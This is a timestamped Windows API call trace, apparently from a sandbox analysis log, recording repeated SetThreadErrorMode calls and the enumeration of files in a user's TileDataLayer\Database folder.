1 [0180.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0180.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0180.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0180.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0180.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0180.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0180.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0180.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0180.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0180.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0180.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0180.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0180.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0180.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", lpFilePart=0x0) returned 0x2b [0183.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0183.187] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", lpFilePart=0x0) returned 0x2b [0183.187] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0183.187] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.187] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x36a40a74, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0x36a40a74, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database", cAlternateFileName="")) returned 1 [0183.188] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x36a40a74, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0x36a40a74, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database", cAlternateFileName="")) returned 0 [0183.188] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0183.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0183.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0183.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0183.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", lpFilePart=0x0) returned 0x2b [0183.188] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.188] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.188] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x36a40a74, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0x36a40a74, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database", cAlternateFileName="")) returned 1 [0183.189] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.189] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0183.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0183.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database", lpFilePart=0x0) returned 0x34 [0183.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database", lpFilePart=0x0) returned 0x34 [0183.189] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x36a40a74, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0x36a40a74, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.189] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x36a40a74, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0x36a40a74, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.189] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1eb87d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d1eb87d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x6881f2b0, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.chk", cAlternateFileName="")) returned 1 [0183.190] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3cffbae0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x6881f2b0, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.log", cAlternateFileName="")) returned 1 [0183.190] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3cdbf8a7, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x36aff6be, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB00007.log", cAlternateFileName="")) returned 1 [0183.190] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1c563b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d1c563b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3d1c563b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0183.190] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1eb87d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d1eb87d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3d1eb87d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0183.190] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcb6e1300, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x6f438598, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBtmp.log", cAlternateFileName="")) returned 1 [0183.190] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d532a92, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d532a92, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x6a09e99a, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.edb", cAlternateFileName="VEDATA~1.EDB")) returned 1 [0183.190] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc21df919, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc21df919, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x687d299a, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.jfm", cAlternateFileName="VEDATA~1.JFM")) returned 1 [0183.190] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.191] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database", lpFilePart=0x0) returned 0x34 [0183.191] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x36a40a74, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0x36a40a74, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0183.191] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x36a40a74, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0x36a40a74, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.191] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1eb87d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d1eb87d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x6881f2b0, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.chk", cAlternateFileName="")) returned 1 [0183.191] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3cffbae0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x6881f2b0, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB.log", cAlternateFileName="")) returned 1 [0183.191] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3cdbf8a7, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x36aff6be, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDB00007.log", cAlternateFileName="")) returned 1 [0183.192] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1c563b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d1c563b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3d1c563b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0183.192] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1eb87d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d1eb87d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3d1eb87d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0183.192] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcb6e1300, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x6f438598, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDBtmp.log", cAlternateFileName="")) returned 1 [0183.192] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d532a92, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d532a92, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x6a09e99a, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.edb", cAlternateFileName="VEDATA~1.EDB")) returned 1 [0183.192] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc21df919, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc21df919, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x687d299a, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.jfm", cAlternateFileName="VEDATA~1.JFM")) returned 1 [0183.192] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc21df919, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc21df919, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x687d299a, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vedatamodel.jfm", cAlternateFileName="VEDATA~1.JFM")) returned 0 [0183.193] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0183.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 